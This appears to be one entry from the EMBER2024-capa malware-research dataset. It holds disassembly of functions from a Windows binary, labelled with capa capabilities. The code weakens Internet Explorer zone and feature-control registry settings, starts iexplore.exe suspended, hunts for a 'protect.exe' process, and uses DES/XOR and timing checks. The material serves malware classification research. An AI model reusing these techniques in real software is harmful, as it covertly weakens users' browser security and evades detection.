joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402c56
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
and dword [ebp - 4], 0
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
push 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
mov ebx, 0xf003f
push ebx
push 0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
push edi
push SysReAllocString
call esi
test eax, eax
jne 0x402cdb
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push str.1601
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402cd2
cmp dword [ebp - 4], 1
jne 0x402cd2
push dword [ebp - 0xc]
and dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
push 0
push str.1601
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push ebx
xor ebx, ebx
push ebx
push edi
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x402d36
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
mov esi, str.1601
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402d2d
cmp dword [ebp - 4], 1
jne 0x402d2d
push dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], ebx
push ebx
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402d3b
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x4777a8]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov eax, dword [ebp + 0x1a0]
push ebx
push eax
push str.SOFTWAREMicrosoftInternet_ExplorerAdvancedOptionsBROWSE_
lea eax, [ebp + 0x90]
push str._s_s
push eax
call fcn.00441806
add esp, 0x10
lea eax, [ebp - 0x78]
push eax
push 0xf003f
xor ebx, ebx
push ebx
lea eax, [ebp + 0x90]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402e90
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
push 3
mov edi, 0x464a8c
push edi
push 1
push ebx
push str.CheckedValue
push dword [ebp - 0x78]
call esi
push 3
push edi
push 1
push ebx
push str.DefaultValue
push dword [ebp - 0x78]
call esi
push 2
push 0x464ab0
push 1
push ebx
push str.UncheckedValue
push dword [ebp - 0x78]
call esi
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push str.ValueName
push dword [ebp - 0x78]
mov byte [ebp - 0x74], bl
mov byte [ebp + 0x90], bl
mov dword [ebp - 0x80], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x90]
push eax
push ebx
push ebx
push str.RegPath
push dword [ebp - 0x78]
mov dword [ebp - 0x80], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp + 0x90]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x402e31
sub eax, ecx
je 0x402e85
lea eax, [ebp - 0x74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402e42
sub eax, edx
je 0x402e85
lea eax, [ebp - 0x7c]
push eax
push 0xf003f
push ebx
lea eax, [ebp + 0x90]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402e85
push 3
push edi
push 1
push ebx
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x7c]
call esi
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov ecx, dword [ebp + 0x194]
xor ecx, ebp
pop ebx
call fcn.004410db
add ebp, 0x198
leave
ret

Function at 0x402ea6
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5004
call fcn.00447fe0
mov eax, dword [0x4777a8]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x402eeb
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x5004]
push 0x5000
push eax
call fcn.00441b43
add esp, 0x10
lea eax, [ebp - 0x5004]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004410db
leave
ret
Function at 0x402fd6
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0x40
push dword [esp + 0x20]
mov ebx, 0x4802f8
push ebx
mov esi, eax
call fcn.00403277
push 0x40
push ebx
push ebx
mov eax, 0x464b60
call fcn.00403200
add esp, 0x18
cmp byte [esp + 0x20], 0
mov ebp, 0x48037c
jne 0x40305f
mov dword [esp + 0x20], esi
mov dword [esp + 0x10], 0x10
push 8
pop ecx
push dword [esp + 0x20]
mov esi, 0x480318
mov edi, ebp
push 0x480318
rep movsd dword es:[edi], dword [esi]
call fcn.0040315b
pop ecx
pop ecx
xor esi, esi
lea eax, [esi + 0x480318]
mov cl, byte [eax - 0x20]
xor byte [eax], cl
inc esi
cmp esi, 0x20
jl 0x403035
add dword [esp + 0x20], 0x30
dec dword [esp + 0x10]
push 8
pop ecx
mov esi, ebp
mov edi, 0x4802f8
rep movsd dword es:[edi], dword [esi]
jne 0x403017
jmp 0x4030b8
add esi, 0x2d0
mov dword [esp + 0x10], 0xf
mov dword [esp + 0x20], esi
push 8
pop ecx
push dword [esp + 0x20]
mov esi, 0x4802f8
mov edi, ebp
push ebx
rep movsd dword es:[edi], dword [esi]
call fcn.0040315b
pop ecx
pop ecx
xor esi, esi
lea eax, [esi + 0x4802f8]
mov cl, byte [eax + 0x20]
xor byte [eax], cl
inc esi
cmp esi, 0x20
jl 0x40308b
dec dword [esp + 0x10]
sub dword [esp + 0x20], 0x30
cmp dword [esp + 0x10], 0
push 8
pop ecx
mov esi, ebp
mov edi, 0x480318
rep movsd dword es:[edi], dword [esi]
jge 0x403071
push 0x40
push ebx
push ebx
mov eax, 0x464ba0
call fcn.00403200
mov ebp, dword [esp + 0x24]
xor eax, eax
mov edi, ebp
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
xor eax, eax
mov dl, byte [eax + 0x4802f8]
mov ecx, eax
sar ecx, 3
lea esi, [ecx + ebp]
mov ecx, eax
and ecx, 7
shl dl, cl
or byte [esi], dl
inc eax
cmp eax, 0x40
jl 0x4030d5
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4030f8
Capabilities:
Encrypt data using des

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x40
push dword [esp + 0x1c]
mov esi, 0x4802b8
push esi
call fcn.00403277
push 0x38
push esi
push esi
mov eax, str.91__
call fcn.00403200
mov ebp, dword [esp + 0x2c]
add esp, 0x18
xor edi, edi
movsx ebx, byte [edi + 0x464c98]
mov eax, esi
call fcn.00403243
mov eax, 0x4802d4
call fcn.00403243
push 0x30
push esi
push ebp
mov eax, 0x464c68
call fcn.00403200
add esp, 0xc
inc edi
add ebp, 0x30
cmp edi, 0x10
jl 0x403124
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40315b
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x30
push ebx
mov esi, 0x48034c
push esi
mov eax, 0x464be0
call fcn.00403200
mov edi, dword [ebp + 0xc]
add esp, 0xc
xor ecx, ecx
sub edi, esi
lea eax, [ecx + 0x48034c]
mov dl, byte [edi + eax]
xor byte [eax], dl
inc ecx
cmp ecx, 0x30
jl 0x403182
mov esi, 0x48034e
xor edi, edi
mov dword [ebp - 4], 8
mov al, byte [esi - 1]
mov cl, byte [esi - 2]
add al, al
add al, byte [esi]
add cl, cl
add cl, byte [esi + 3]
add al, al
add al, byte [esi + 1]
movsx ecx, cl
add al, al
add al, byte [esi + 2]
add ecx, edi
movsx eax, al
shl ecx, 4
push 4
lea eax, [eax + ecx + 0x464ca8]
push eax
push ebx
call fcn.00403277
add esp, 0xc
add edi, 4
add esi, 6
add ebx, 4
dec dword [ebp - 4]
jne 0x4031a1
push 0x20
push dword [ebp + 8]
mov eax, 0x464c10
push dword [ebp + 8]
call fcn.00403200
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4032a6
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
lea ebp, [esp - 0x3dc]
sub esp, 0x45c
mov eax, dword [0x4777a8]
xor eax, ebp
mov dword [ebp + 0x3d8], eax
mov eax, dword [ebp + 0x3e4]
push ebx
push esi
push edi
push 0xc
pop ecx
push 0x3d0
mov dword [ebp - 0x2c], eax
xor ebx, ebx
lea eax, [ebp + 8]
push ebx
mov esi, str.C:Program_FilesInternet_Exploreriexplore.exe
lea edi, [ebp - 0x28]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00444c50
lea edi, [ebp - 0x28]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4032f2
mov eax, dword [ebp - 0x2c]
mov esi, 0x464eb0
movsw word es:[edi], word [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403306
lea edi, [ebp - 0x28]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x403313
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x44
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
push esi
lea eax, [ebp - 0x80]
push ebx
push eax
call fcn.00444c50
xor eax, eax
add esp, 0xc
lea edi, [ebp - 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 3
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop eax
mov word [ebp - 0x50], ax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x28]
push eax
push ebx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x54], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403376
mov ebx, dword [ebp - 0x34]
mov ecx, dword [ebp + 0x3d8]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.004410db
add ebp, 0x3dc
leave
ret
Function at 0x403626
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor esi, esi
push 2
push esi
push ebx
mov dword [ebp - 4], esi
call fcn.004422dd
push ebx
call fcn.004424ff
push esi
push esi
push ebx
mov edi, eax
call fcn.004422dd
add esp, 0x1c
cmp edi, esi
je 0x403689
push edi
call fcn.00441fb3
mov esi, eax
pop ecx
test esi, esi
je 0x403689
push ebx
push edi
push 1
push esi
call fcn.0044280d
push ebx
call fcn.00441a14
mov edx, edi
mov eax, esi
mov ecx, esi
call fcn.00402ef7
push dword [ebp + 8]
mov ecx, esi
call fcn.00403519
add esp, 0x18
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret

Function at 0x4043c6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push 4
pop esi
lea eax, [ebp - 0x10]
push eax
push 0x20019
xor edi, edi
push edi
push str.SOFTWARE123
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40441c
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push str.NoHost
push dword [ebp - 0x10]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40441c
mov dword [ebp - 4], edi
cmp dword [ebp - 4], edi
je 0x404424
xor edi, edi
inc edi
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x40466d
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x138
mov eax, dword [0x4777a8]
xor eax, esp
mov dword [esp + 0x134], eax
push ebx
mov ebx, ecx
push edi
mov byte [esp + 0xb], 0
test ebx, ebx
je 0x404742
cmp byte [ebx], 0
je 0x404742
mov edi, 0x5c20
push edi
push ebx
call fcn.00441750
pop ecx
pop ecx
test eax, eax
je 0x4046b6
lea ebx, [eax + 1]
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
je 0x404742
push 0x128
lea eax, [esp + 0x14]
push 0
push eax
call fcn.00444c50
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
jmp 0x404727
lea eax, [esp + 0x34]
push edi
push eax
call fcn.00441750
pop ecx
pop ecx
test eax, eax
je 0x404708
inc eax
jmp 0x40470c
lea eax, [esp + 0x34]
push ebx
push eax
call fcn.0044334c
pop ecx
pop ecx
test eax, eax
je 0x40472d
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4046f4
jmp 0x404732
mov byte [esp + 0xb], 1
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0xb]
jmp 0x404744
xor al, al
mov ecx, dword [esp + 0x13c]
pop edi
pop ebx
xor ecx, esp
call fcn.004410db
mov esp, ebp
pop ebp
ret
Function at 0x404758
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xa0
mov eax, dword [0x4777a8]
xor eax, ebp
mov dword [ebp + 0x74], eax
push 0x9c
lea eax, [ebp - 0x28]
push 0
push eax
call fcn.00444c50
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x18], 2
jne 0x4047a5
cmp dword [ebp - 0x24], 6
jne 0x4047a5
xor eax, eax
inc eax
cmp dword [ebp - 0x20], eax
je 0x4047a7
xor eax, eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
call fcn.004410db
add ebp, 0x78
leave
ret

Function at 0x4047b6
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x94]
sub esp, 0x114
mov eax, dword [0x4777a8]
xor eax, ebp
mov dword [ebp + 0x90], eax
and dword [ebp - 0x7c], 0
push esi
push str.IsWow64Process
push str.kernel32
mov dword [ebp - 0x80], 1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x404807
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 0x7c], 0
mov esi, 0x104
lea eax, [ebp - 0x74]
je 0x40481c
push str.SoftwareWow6432NodeMicrosoftInternet_ExplorerMainFeatureControl_
jmp 0x404821
push str.SoftwareMicrosoftInternet_ExplorerMainFeatureControl_
push esi
push eax
call fcn.00442add
add esp, 0xc
push str.FEATURE_SCRIPTURL_MITIGATION
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00442ceb
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x74]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
pop esi
test eax, eax
jne 0x404872
push 4
lea eax, [ebp - 0x80]
push eax
push 4
push 0
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x90]
xor ecx, ebp
call fcn.004410db
add ebp, 0x94
leave
ret
Function at 0x404935
Capabilities:
Create thread

Disassembly:
push 0x10c
mov eax, 0x45b3bc
call fcn.004451ce
mov ebx, 0x4801c8
xor edi, edi
push edi
mov ecx, ebx
mov dword [ebp - 0x118], ebx
call fcn.00422716
push 0x104
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 4], edi
push edi
mov dword [0x4801c8], 0x465a54
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x114]
push str.rmdll.exe
push eax
call fcn.00441780
pop ecx
pop ecx
test eax, eax
jne 0x4049a7
lea eax, [ebp - 0x114]
push str.frmdll.exe
push eax
call fcn.00441780
pop ecx
pop ecx
test eax, eax
je 0x4049df
push 0xc
call fcn.0041558a
pop ecx
cmp eax, edi
je 0x4049c3
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax], vtable.ModuleFindAll.0
mov esi, eax
jmp 0x4049c5
xor esi, esi
cmp esi, edi
je 0x4049df
lea eax, [esi + 8]
push eax
push edi
push esi
push 0x4043b1
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 4], eax
lea eax, [ebp - 0x114]
push 0x5c
push eax
call fcn.00441750
pop ecx
pop ecx
cmp eax, edi
je 0x404a00
lea ebx, [eax + 1]
call fcn.004047b6
mov ebx, 0x4801c8
call fcn.00404758
test eax, eax
jne 0x404a13
call fcn.0040fd90
call fcn.0040fe54
push str.C:WindowsSystem32cBLK.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00404758
test eax, eax
jne 0x404a44
mov ecx, str.protect.exe
call fcn.0040466d
test al, al
je 0x404a3f
mov dword [0x47f8a0], 1
call fcn.0040ff1a
mov dword [0x48026c], edi
mov dword [0x47f8b0], edi
mov eax, ebx
call fcn.00445251
ret
Function at 0x40561f
Capabilities:
Set registry value

Disassembly:
push 8
mov eax, 0x45af45
call fcn.00445165
xor edi, edi
push str.SoftwareMicrosoftInternet_ExplorerMainFeatureControl_
lea ecx, [ebp - 0x14]
inc edi
call fcn.0040230f
push dword [ebp + 8]
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.00403ea1
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x405662
xor edi, edi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x405689
push dword [ebp - 0x10]
call esi
xor edi, edi
push dword [ebp - 0x10]
call esi
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.004023bd
mov eax, edi
call fcn.0044523d
ret 0xc

Function at 0x405741
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
lea ecx, [ebp - 8]
inc edi
mov dword [ebp - 0xc], 0xa
call fcn.0040230f
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x405778
xor edi, edi
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push str.MaxConnectionsPerServer
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4057a1
push dword [ebp - 4]
call esi
xor edi, edi
push dword [ebp - 4]
call esi
mov ecx, dword [ebp - 8]
add ecx, 0xfffffff0
call fcn.004023bd
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x4057b7
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
lea ecx, [ebp - 8]
inc edi
mov dword [ebp - 0xc], 0xa
call fcn.0040230f
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x4057ee
xor edi, edi
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push str.MaxConnectionsPer1_0Server
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x405817
push dword [ebp - 4]
call esi
xor edi, edi
push dword [ebp - 4]
call esi
mov ecx, dword [ebp - 8]
add ecx, 0xfffffff0
call fcn.004023bd
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x40582d
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0x2001f
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, eax
cmp edi, esi
jne 0x40587d
push 4
push dword [ebp + 0x10]
push 4
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x405b78
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x404553
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [0x47f8b4]
test eax, eax
je 0x405bcf
and dword [ebp - 4], 0
push esi
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x405bce
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, dword [0x480194]
test eax, eax
je 0x405bdf
push eax
call fcn.004421c5
pop ecx
call dword [sym.imp.ole32.dll_OleUninitialize]
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x4043bd
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov ecx, edi
call fcn.00421fe9
pop edi
leave
ret

Function at 0x406280
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp edi, ebx
jne 0x406295
push 0x80004005
call fcn.004024ef
push edi
push esi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp esi, ebx
je 0x4062e4
mov ecx, dword [edi]
cmp ecx, ebx
jbe 0x4062e2
cmp dword [ebp - 4], ebx
jbe 0x4062df
cmp dword [ebp - 4], 2
jbe 0x4062e9
cmp dword [ebp - 4], 7
jne 0x4062df
cmp ecx, 1
jb 0x4062df
lea edx, [ecx + esi]
cmp byte [edx - 1], bl
jne 0x4062df
cmp ecx, 1
jbe 0x4062e4
cmp byte [edx - 2], bl
je 0x4062e4
push 0xd
pop eax
mov byte [esi], bl
pop ebx
leave
ret 8
cmp byte [ecx + esi - 1], bl
jmp 0x4062dd
Function at 0x406840
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x14
mov eax, 0x45b184
call fcn.004451ce
mov esi, ecx
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esi + 0x144]
mov dword [esi + 0x148], eax
sub eax, ecx
cmp eax, 0x7d0
jae 0x406874
test ecx, ecx
jne 0x4069a9
push 2
pop edi
cmp dword [0x479174], edi
jne 0x40690f
call fcn.0041e760
push eax
lea ecx, [ebp - 0x18]
call fcn.0040237a
and dword [ebp - 4], 0
lea eax, [ebp - 0x18]
lea ecx, [esi + 0xd7c]
push eax
mov dword [ebp - 0x1c], ecx
call fcn.00419704
lea ebx, [ebp - 0x18]
call fcn.004082c4
mov edi, eax
call fcn.00408312
push eax
mov ecx, ebx
call fcn.00401f24
mov eax, dword [ebp - 0x18]
cmp dword [eax - 0xc], 0
jle 0x406907
lea ebx, [esi + 0x78c]
push ebx
call fcn.0040dd15
and dword [esi + 0x8b8], 0
mov esi, dword [ebp - 0x18]
call fcn.0040da86
lea esi, [ebp - 0x14]
call fcn.004063c1
mov byte [ebp - 4], 1
push dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
call fcn.0041b7a3
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.004023bd
mov esi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
jmp 0x406995
call fcn.0041e760
push eax
lea ecx, [ebp - 0x14]
call fcn.0040237a
lea eax, [ebp - 0x14]
lea ecx, [esi + 0xc98]
mov dword [ebp - 4], edi
push eax
mov dword [ebp - 0x18], ecx
call fcn.00419704
lea ebx, [ebp - 0x14]
call fcn.004082c4
mov edi, eax
call fcn.00408312
push eax
mov ecx, ebx
call fcn.00401f24
mov eax, dword [ebp - 0x14]
cmp dword [eax - 0xc], 0
jle 0x406992
lea ebx, [esi + 0x78c]
push ebx
call fcn.0040dd15
and dword [esi + 0x8b8], 0
mov esi, dword [ebp - 0x14]
call fcn.0040da86
lea esi, [ebp - 0x1c]
call fcn.004063c1
mov byte [ebp - 4], 3
push dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
call fcn.0041b7a3
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.004023bd
mov esi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.004023bd
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x144], eax
call fcn.00445251
ret